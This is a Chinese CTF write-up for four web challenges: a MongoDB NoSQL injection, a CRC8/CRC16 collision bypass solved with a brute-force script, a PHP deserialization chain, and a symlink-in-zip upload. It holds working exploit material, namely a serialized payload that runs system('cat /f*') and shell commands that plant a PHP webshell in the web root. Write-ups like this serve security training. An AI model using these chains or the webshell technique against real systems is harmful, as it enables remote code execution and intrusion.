2025-Nss-4th


web

ez_signin

考点:Nosql注入

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
from flask import Flask, request, render_template, jsonify
from pymongo import MongoClient
import re

# 创建Flask应用实例
app = Flask(__name__)

# 连接MongoDB数据库
client = MongoClient("mongodb://localhost:27017/")
# 选择aggie_bookstore数据库
db = client['aggie_bookstore']
# 获取books集合
books_collection = db['books']

# 数据清理函数,只保留字母、数字和空格
def sanitize(input_str: str) -> str:
    return re.sub(r'[^a-zA-Z0-9\s]', '', input_str)

# 首页路由
@app.route('/')
def index():
    # 渲染首页模板,初始不显示任何书籍
    return render_template('index.html', books=None)

# 搜索路由,支持GET和POST方法
@app.route('/search', methods=['GET', 'POST'])
def search():
    # 初始化查询条件
    query = {"$and": []}
    books = []

    # 处理GET请求
    if request.method == 'GET':
        # 获取查询参数并去除两端空格
        title = request.args.get('title', '').strip()
        author = request.args.get('author', '').strip()

        # 清理输入数据
        title_clean = sanitize(title)
        author_clean = sanitize(author)

        # 如果有标题条件,添加到查询
        if title_clean:
            query["$and"].append({"title": {"$eq": title_clean}})  # 使用严格相等匹配

        # 如果有作者条件,添加到查询
        if author_clean:
            query["$and"].append({"author": {"$eq": author_clean}}) 

        # 如果有查询条件,执行查询
        if query["$and"]:
            books = list(books_collection.find(query))

        # 返回渲染后的模板和查询结果
        return render_template('index.html', books=books)

    # 处理POST请求
    elif request.method == 'POST':
        # 检查Content-Type是否为application/json
        if request.content_type == 'application/json':
            try:
                # 强制解析JSON数据
                data = request.get_json(force=True)

                # 获取title和author参数
                title = data.get("title")
                author = data.get("author")
                
                # 处理title参数
                if isinstance(title, str):
                    # 如果是字符串,进行清理
                    title = sanitize(title)
                    query["$and"].append({"title": title})
                elif isinstance(title, dict):
                    # 如果是字典,直接使用(可能存在NoSQL注入漏洞)
                    query["$and"].append({"title": title})

                # 处理author参数
                if isinstance(author, str):
                    author = sanitize(author)
                    query["$and"].append({"author": author})
                elif isinstance(author, dict):
                    query["$and"].append({"author": author})

                # 如果有查询条件,执行查询
                if query["$and"]:
                    books = list(books_collection.find(query))
                    # 返回JSON格式的查询结果
                    return jsonify([
                        {
                            "title": b.get("title"), 
                            "author": b.get("author"), 
                            "description": b.get("description")
                        } for b in books
                    ])

                # 如果没有查询条件,返回错误
                return jsonify({"error": "Empty query"}), 400

            except Exception as e:
                # 处理异常情况
                return jsonify({"error": str(e)}), 500

        # 不支持的Content-Type
        return jsonify({"error": "Unsupported Content-Type"}), 400
    
# 启动Flask应用
if __name__ == "__main__":
    app.run("0.0.0.0", 8000)  # 监听所有网络接口的8000端口

审计一下代码,

image-20250824110353230

**表示“title 不等于空字符串”,即匹配所有文档!**不行试试

image-20250824111617957

Nosql 注入从零到一-先知社区

EzCRC

要求POST与key内容不同,长度相同,CRC8和CRC16相同的pass

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
<?php
error_reporting(0);
ini_set('display_errors', 0);
highlight_file(__FILE__);


function compute_crc16($data) {
    $checksum = 0xFFFF;
    for ($i = 0; $i < strlen($data); $i++) {
        $checksum ^= ord($data[$i]);
        for ($j = 0; $j < 8; $j++) {
            if ($checksum & 1) {
                $checksum = (($checksum >> 1) ^ 0xA001);
            } else {
                $checksum >>= 1;
            }
        }
    }
    return $checksum;
}

function calculate_crc8($input) {
    static $crc8_table = [
        0x00, 0x07, 0x0E, 0x09, 0x1C, 0x1B, 0x12, 0x15,
        0x38, 0x3F, 0x36, 0x31, 0x24, 0x23, 0x2A, 0x2D,
        0x70, 0x77, 0x7E, 0x79, 0x6C, 0x6B, 0x62, 0x65,
        0x48, 0x4F, 0x46, 0x41, 0x54, 0x53, 0x5A, 0x5D,
        0xE0, 0xE7, 0xEE, 0xE9, 0xFC, 0xFB, 0xF2, 0xF5,
        0xD8, 0xDF, 0xD6, 0xD1, 0xC4, 0xC3, 0xCA, 0xCD,
        0x90, 0x97, 0x9E, 0x99, 0x8C, 0x8B, 0x82, 0x85,
        0xA8, 0xAF, 0xA6, 0xA1, 0xB4, 0xB3, 0xBA, 0xBD,
        0xC7, 0xC0, 0xC9, 0xCE, 0xDB, 0xDC, 0xD5, 0xD2,
        0xFF, 0xF8, 0xF1, 0xF6, 0xE3, 0xE4, 0xED, 0xEA,
        0xB7, 0xB0, 0xB9, 0xBE, 0xAB, 0xAC, 0xA5, 0xA2,
        0x8F, 0x88, 0x81, 0x86, 0x93, 0x94, 0x9D, 0x9A,
        0x27, 0x20, 0x29, 0x2E, 0x3B, 0x3C, 0x35, 0x32,
        0x1F, 0x18, 0x11, 0x16, 0x03, 0x04, 0x0D, 0x0A,
        0x57, 0x50, 0x59, 0x5E, 0x4B, 0x4C, 0x45, 0x42,
        0x6F, 0x68, 0x61, 0x66, 0x73, 0x74, 0x7D, 0x7A,
        0x89, 0x8E, 0x87, 0x80, 0x95, 0x92, 0x9B, 0x9C,
        0xB1, 0xB6, 0xBF, 0xB8, 0xAD, 0xAA, 0xA3, 0xA4,
        0xF9, 0xFE, 0xF7, 0xF0, 0xE5, 0xE2, 0xEB, 0xEC,
        0xC1, 0xC6, 0xCF, 0xC8, 0xDD, 0xDA, 0xD3, 0xD4,
        0x69, 0x6E, 0x67, 0x60, 0x75, 0x72, 0x7B, 0x7C,
        0x51, 0x56, 0x5F, 0x58, 0x4D, 0x4A, 0x43, 0x44,
        0x19, 0x1E, 0x17, 0x10, 0x05, 0x02, 0x0B, 0x0C,
        0x21, 0x26, 0x2F, 0x28, 0x3D, 0x3A, 0x33, 0x34,
        0x4E, 0x49, 0x40, 0x47, 0x52, 0x55, 0x5C, 0x5B,
        0x76, 0x71, 0x78, 0x7F, 0x6A, 0x6D, 0x64, 0x63,
        0x3E, 0x39, 0x30, 0x37, 0x22, 0x25, 0x2C, 0x2B,
        0x06, 0x01, 0x08, 0x0F, 0x1A, 0x1D, 0x14, 0x13,
        0xAE, 0xA9, 0xA0, 0xA7, 0xB2, 0xB5, 0xBC, 0xBB,
        0x96, 0x91, 0x98, 0x9F, 0x8A, 0x8D, 0x84, 0x83,
        0xDE, 0xD9, 0xD0, 0xD7, 0xC2, 0xC5, 0xCC, 0xCB,
        0xE6, 0xE1, 0xE8, 0xEF, 0xFA, 0xFD, 0xF4, 0xF3
    ];

    $bytes = unpack('C*', $input);
    $length = count($bytes);
    $crc = 0;
    for ($k = 1; $k <= $length; $k++) {
        $crc = $crc8_table[($crc ^ $bytes[$k]) & 0xff];
    }
    return $crc & 0xff;
}

$SECRET_PASS = "Enj0yNSSCTF4th!";
include "flag.php";

if (isset($_POST['pass']) && strlen($SECRET_PASS) == strlen($_POST['pass'])) {
    $correct_pass_crc16 = compute_crc16($SECRET_PASS);
    $correct_pass_crc8 = calculate_crc8($SECRET_PASS);

    $user_input = $_POST['pass'];
    $user_pass_crc16 = compute_crc16($user_input);
    $user_pass_crc8 = calculate_crc8($user_input);

    if ($SECRET_PASS === $user_input) {
        die("这样不行");
    }

    if ($correct_pass_crc16 !== $user_pass_crc16) {
        die("这样也不行");
    }

    if ($correct_pass_crc8 !== $user_pass_crc8) {
        die("这样还是不行吧");
    }

    $granted_access = true;

    if ($granted_access) {
        echo "都到这份上了,flag就给你了: $FLAG";
    } else {
        echo "不不不";
    }
} else {
    echo "再试试";
}

?> 再试试

https://chat01.ai/zh/chat/01K58GC1749ZCHE98P3484FJKR,又发现一个新ai,舒服直接梭哈

image-20250916134448515

将代码总结一下就是这样

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
# ctf_crc_collision_solver.py
# Author: 无问社区AI mini模型 | 网络安全专家
# 功能:求解基于 CRC16 + CRC8 双重校验绕过的 CTF 题目

import requests

# ==================== CRC8 查表数组(来自PHP源码)====================
crc8_table = [
    0x00, 0x07, 0x0E, 0x09, 0x1C, 0x1B, 0x12, 0x15,
    0x38, 0x3F, 0x36, 0x31, 0x24, 0x23, 0x2A, 0x2D,
    0x70, 0x77, 0x7E, 0x79, 0x6C, 0x6B, 0x62, 0x65,
    0x48, 0x4F, 0x46, 0x41, 0x54, 0x53, 0x5A, 0x5D,
    0xE0, 0xE7, 0xEE, 0xE9, 0xFC, 0xFB, 0xF2, 0xF5,
    0xD8, 0xDF, 0xD6, 0xD1, 0xC4, 0xC3, 0xCA, 0xCD,
    0x90, 0x97, 0x9E, 0x99, 0x8C, 0x8B, 0x82, 0x85,
    0xA8, 0xAF, 0xA6, 0xA1, 0xB4, 0xB3, 0xBA, 0xBD,
    0xC7, 0xC0, 0xC9, 0xCE, 0xDB, 0xDC, 0xD5, 0xD2,
    0xFF, 0xF8, 0xF1, 0xF6, 0xE3, 0xE4, 0xED, 0xEA,
    0xB7, 0xB0, 0xB9, 0xBE, 0xAB, 0xAC, 0xA5, 0xA2,
    0x8F, 0x88, 0x81, 0x86, 0x93, 0x94, 0x9D, 0x9A,
    0x27, 0x20, 0x29, 0x2E, 0x3B, 0x3C, 0x35, 0x32,
    0x1F, 0x18, 0x11, 0x16, 0x03, 0x04, 0x0D, 0x0A,
    0x57, 0x50, 0x59, 0x5E, 0x4B, 0x4C, 0x45, 0x42,
    0x6F, 0x68, 0x61, 0x66, 0x73, 0x74, 0x7D, 0x7A,
    0x89, 0x8E, 0x87, 0x80, 0x95, 0x92, 0x9B, 0x9C,
    0xB1, 0xB6, 0xBF, 0xB8, 0xAD, 0xAA, 0xA3, 0xA4,
    0xF9, 0xFE, 0xF7, 0xF0, 0xE5, 0xE2, 0xEB, 0xEC,
    0xC1, 0xC6, 0xCF, 0xC8, 0xDD, 0xDA, 0xD3, 0xD4,
    0x69, 0x6E, 0x67, 0x60, 0x75, 0x72, 0x7B, 0x7C,
    0x51, 0x56, 0x5F, 0x58, 0x4D, 0x4A, 0x43, 0x44,
    0x19, 0x1E, 0x17, 0x10, 0x05, 0x02, 0x0B, 0x0C,
    0x21, 0x26, 0x2F, 0x28, 0x3D, 0x3A, 0x33, 0x34,
    0x4E, 0x49, 0x40, 0x47, 0x52, 0x55, 0x5C, 0x5B,
    0x76, 0x71, 0x78, 0x7F, 0x6A, 0x6D, 0x64, 0x63,
    0x3E, 0x39, 0x30, 0x37, 0x22, 0x25, 0x2C, 0x2B,
    0x06, 0x01, 0x08, 0x0F, 0x1A, 0x1D, 0x14, 0x13,
    0xAE, 0xA9, 0xA0, 0xA7, 0xB2, 0xB5, 0xBC, 0xBB,
    0x96, 0x91, 0x98, 0x9F, 0x8A, 0x8D, 0x84, 0x83,
    0xDE, 0xD9, 0xD0, 0xD7, 0xC2, 0xC5, 0xCC, 0xCB,
    0xE6, 0xE1, 0xE8, 0xEF, 0xFA, 0xFD, 0xF4, 0xF3
]

# ==================== 构建 CRC8 反查表 ====================
# 用于反向计算最后一个字节以匹配目标 CRC8
table_inv = [0] * 256
for idx, val in enumerate(crc8_table):
    table_inv[val] = idx


# ==================== CRC16 计算函数(Modbus风格)====================
def compute_crc16(data: bytes) -> int:
    """
    模拟 PHP 中的 CRC16(Modbus) 算法
    初始值: 0xFFFF, 多项式: 0xA001 (反向)
    """
    chk = 0xFFFF
    for b in data:
        chk ^= b
        for _ in range(8):
            if chk & 1:
                chk = (chk >> 1) ^ 0xA001
            else:
                chk >>= 1
        chk &= 0xFFFF  # 保持在 16 位内
    return chk


# ==================== CRC8 计算函数 ====================
def calculate_crc8(data: bytes) -> int:
    """
    模拟 PHP 中的 CRC8 查表算法
    """
    crc = 0
    for b in data:
        crc = crc8_table[(crc ^ b) & 0xFF]
    return crc & 0xFF


# ==================== 主逻辑开始 ====================
ORIGINAL_PASS = b"Enj0yNSSCTF4th!"
PREFIX_LEN = 12
TARGET_PASS_LEN = len(ORIGINAL_PASS)  # 必须为15
prefix = ORIGINAL_PASS[:PREFIX_LEN]   # 固定前12位: "Enj0yNSSCTF4"

# --- 步骤1:计算原始密码的 CRC 值 ---
target_crc16 = compute_crc16(ORIGINAL_PASS)
target_crc8 = calculate_crc8(ORIGINAL_PASS)

print(f"[+] 原始密码: {ORIGINAL_PASS.decode()}")
print(f"[+] 目标 CRC16: {target_crc16:#06x} ({target_crc16})")
print(f"[+] 目标 CRC8:  {target_crc8:#04x} ({target_crc8})\n")

# --- 步骤2:模拟处理 prefix 后的状态 ---
state16 = 0xFFFF  # CRC16 初始状态
state8 = 0        # CRC8 初始状态

for b in prefix:
    state16 ^= b
    for _ in range(8):
        if state16 & 1:
            state16 = (state16 >> 1) ^ 0xA001
        else:
            state16 >>= 1
    state16 &= 0xFFFF

    state8 = crc8_table[(state8 ^ b) & 0xFF]


print(f"[i] 前缀 '{prefix.decode()}' 处理后:")
print(f"    CRC16 状态: {state16:#06x}")
print(f"    CRC8 状态:  {state8:#04x}\n")


# --- 步骤3:穷举第13、14字节,并反推第15字节使 CRC8 匹配 ---
print("[*] 开始搜索满足条件的后缀 (b13, b14, b15)...")

# 可打印 ASCII 字符集 (避免特殊字符导致传输问题)
PRINTABLE = set(range(0x20, 0x7F))  # 空格到 ~

solution = None

for b13 in PRINTABLE:
    # === 更新 CRC16 状态 ===
    s16_1 = state16 ^ b13
    for _ in range(8):
        if s16_1 & 1:
            s16_1 = (s16_1 >> 1) ^ 0xA001
        else:
            s16_1 >>= 1
    s16_1 &= 0xFFFF

    # === 更新 CRC8 状态 ===
    s8_1 = crc8_table[(state8 ^ b13) & 0xFF]

    for b14 in PRINTABLE:
        s16_2 = s16_1 ^ b14
        for _ in range(8):
            if s16_2 & 1:
                s16_2 = (s16_2 >> 1) ^ 0xA001
            else:
                s16_2 >>= 1
        s16_2 &= 0xFFFF

        s8_2 = crc8_table[(s8_1 ^ b14) & 0xFF]

        # === 反向计算 b15 使得最终 CRC8 匹配 ===
        k = table_inv[target_crc8]  # 找到表中输出=target_crc8 的索引
        b15 = (s8_2 ^ k) & 0xFF     # 因为 crc8_next = table[s ^ b] => b = s ^ k

        if b15 not in PRINTABLE:
            continue  # 必须是可打印字符

        # === 检查 CRC16 是否也匹配 ===
        s16_3 = s16_2 ^ b15
        for _ in range(8):
            if s16_3 & 1:
                s16_3 = (s16_3 >> 1) ^ 0xA001
            else:
                s16_3 >>= 1
        s16_3 &= 0xFFFF

        tail = bytes([b13, b14, b15])
        full_pass = prefix + tail

        if s16_3 == target_crc16 and full_pass != ORIGINAL_PASS:
            solution = full_pass.decode('latin1')
            break
    if solution:
        break

# --- 结果输出 ---
if solution:
    print(f"\n✅ 找到有效 payload!")
    print(f"原密码: {ORIGINAL_PASS.decode()}")
    print(f"新密码: {solution}")
    print(f"长度一致: {len(solution) == TARGET_PASS_LEN}")
    print(f"CRC16 匹配: {compute_crc16(solution.encode()) == target_crc16}")
    print(f"CRC8 匹配:  {calculate_crc8(solution.encode()) == target_crc8}")
    print(f"内容不同:  {solution != ORIGINAL_PASS.decode()}")

    # 自动验证
    print(f"\n🔍 本地验证结果:")
    print(f"  CRC16('{solution}') = {compute_crc16(solution.encode()):#06x}")
    print(f"  CRC8 ('{solution}') = {calculate_crc8(solution.encode()):#04x}")

这题的收获就是找到一个好ai

filesystem

下载附件,这是主要源码

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
<?php

class ApplicationContext{
    public $contextName; 

    public function __construct(){
        $this->contextName = 'ApplicationContext';
    }

    public function __destruct(){
        $this->contextName = strtolower($this->contextName);
    }
}

class ContentProcessor{
    private $processedContent; 
    public $callbackFunction;   

    public function __construct(){
    
        $this->processedContent = new FunctionInvoker();
    }

    public function __get($key){//尝试访问一个不可访问的属性时,__get() 方法会被自动调用。刚好此类有个私有属性private $processedContent; 
        
        if (property_exists($this, $key)) {
            if (is_object($this->$key) && is_string($this->callbackFunction)) {
                
                $this->$key->{$this->callbackFunction}($_POST['cmd']);
            }
        }
    }
}

class FileManager{
    public $targetFile; 
    public $responseData = 'default_response'; 

    public function __construct($targetFile = null){
        $this->targetFile = $targetFile;
    }

    public function filterPath(){ 
        
        if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->targetFile)){
            die('文件路径不符合规范');
        }
    }

    public function performWriteOperation($var){ 
        
        $targetObject = $this->targetFile; 
        $value = $targetObject->$var; 
    }

    public function getFileHash(){ 
        $this->filterPath(); 

        if (is_string($this->targetFile)) {
            if (file_exists($this->targetFile)) {
                $md5_hash = md5_file($this->targetFile);
                return "文件MD5哈希: " . htmlspecialchars($md5_hash);
            } else {
                die("文件未找到");
            }
        } else if (is_object($this->targetFile)) {
            try {
                
                $md5_hash = md5_file($this->targetFile);
                return "文件MD5哈希 (尝试): " . htmlspecialchars($md5_hash);
            } catch (TypeError $e) {
                
                
                return "无法计算MD5哈希,因为文件参数无效: " . htmlspecialchars($e->getMessage());
            }
        } else {
            die("文件未找到");
        }
    }

    public function __toString(){
        if (isset($_POST['method']) && method_exists($this, $_POST['method'])) {
            $method = $_POST['method'];
            $var = isset($_POST['var']) ? $_POST['var'] : null;
            $this->$method($var); 
        }
        return $this->responseData;
    }
}

class FunctionInvoker{
    public $functionName; 
    public $functionArguments; 
    public function __call($name, $arg){
        
        if (function_exists($name)) {
            $name($arg[0]); 
        }
    }
}

$action = isset($_GET['action']) ? $_GET['action'] : 'home';
$output = ''; 
$upload_dir = "upload/";

if (!is_dir($upload_dir)) {
    mkdir($upload_dir, 0777, true);
}

if ($action === 'upload_file') { 
    if(isset($_POST['submit'])){
        if (isset($_FILES['upload_file']) && $_FILES['upload_file']['error'] == UPLOAD_ERR_OK) {
            $allowed_extensions = ['txt', 'png', 'gif', 'jpg'];
            $file_info = pathinfo($_FILES['upload_file']['name']);
            $file_extension = strtolower(isset($file_info['extension']) ? $file_info['extension'] : '');

            if (!in_array($file_extension, $allowed_extensions)) {
                $output = "<p class='text-red-600'>不允许的文件类型。只允许 txt, png, gif, jpg。</p>";
            } else {
                
                $unique_filename = md5(time() . $_FILES['upload_file']['name']) . '.' . $file_extension;
                $upload_path = $upload_dir . $unique_filename;
                $temp_file = $_FILES['upload_file']['tmp_name'];

                if (move_uploaded_file($temp_file, $upload_path)) {
                    $output = "<p class='text-green-600'>文件上传成功!</p>";
                    $output .= "<p class='text-gray-700'>文件路径:<code class='bg-gray-200 p-1 rounded'>" . htmlspecialchars($upload_path) . "</code></p>";
                } else {
                    $output = "<p class='text-red-600'>上传失败!</p>";
                }
            }
        } else {
            $output = "<p class='text-red-600'>请选择一个文件上传。</p>";
        }
    }
}
//检验md5
if ($action === 'home' && isset($_POST['submit_md5'])) {
    $filename_param = isset($_POST['file_to_check']) ? $_POST['file_to_check'] : '';

    if (!empty($filename_param)) {
        $file_object = @unserialize($filename_param);
        if ($file_object === false || !($file_object instanceof FileManager)) {
            $file_object = new FileManager($filename_param);
        }
        $output = $file_object->getFileHash();
    } else {
        $output = "<p class='text-gray-600'>请输入文件路径进行MD5校验。</p>";
    }
}

链子很简单ApplicationContext->FileManager->ContentProcessor->FunctionInvoker

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

class ApplicationContext{
    public $contextName; 

}

class ContentProcessor{
    private $processedContent; 
    public $callbackFunction;   

    public function __construct(){
    
        $this->processedContent = new FunctionInvoker();
    }
}

class FileManager{
    public $targetFile; 
    public $responseData = 'default_response'; 

}

class FunctionInvoker{
    public $functionName; 
    public $functionArguments; 
}

$a=new ApplicationContext();
$a->contextName=new FileManager();
$a->contextName->targetFile=new ContentProcessor(new FunctionInvoker());
$a->contextName->targetFile->callbackFunction='system';

echo serialize($a);
echo urlencode(serialize($a));

注意,由于processedContent是私有变量,所以要加%00(当然直接打url编码后的也可以)

1
file_to_check=O:18:"ApplicationContext":1:{s:11:"contextName";O:11:"FileManager":2:{s:10:"targetFile";O:16:"ContentProcessor":2:{s:34:"%00ContentProcessor%00processedContent";O:15:"FunctionInvoker":2:{s:12:"functionName";N;s:17:"functionArguments";N;}s:16:"callbackFunction";s:6:"system";}s:12:"responseData";s:16:"default_response";}}&method=performWriteOperation&var=processedContent&cmd=cat /f*&submit_md5=1

image-20250916154830372

其实就是简单反序列化,不要被这么多代码吓到了

ez_upload

考点:php development server源码泄露+软链接

看看报错页

image-20250916165532940

问一下ai,发现报错页能看出来是php development server

image-20250916165551439

参考此文拿到源码

PHP Development Server <= 7.4.21 - Remote Source Disclosure — ProjectDiscovery Blog

image-20250916164646758

先创建软连接(命令都在linux上进行)

1
2
ln -s /var/www/html link
zip --symlinks link.zip link	(symlinks的作用是不把orange这个软链接当作普通的文件,而是当作指向目录或者文件的存在)

然后删去link,建一个link文件夹,里面写一个1.php,内容是木马,然后打包

1
zip -r link1.zip link/1.php

然后以此上传link.zip与link1.zip,然后1.php就到了/var/www/html下了

image-20250916161908535

谢谢观看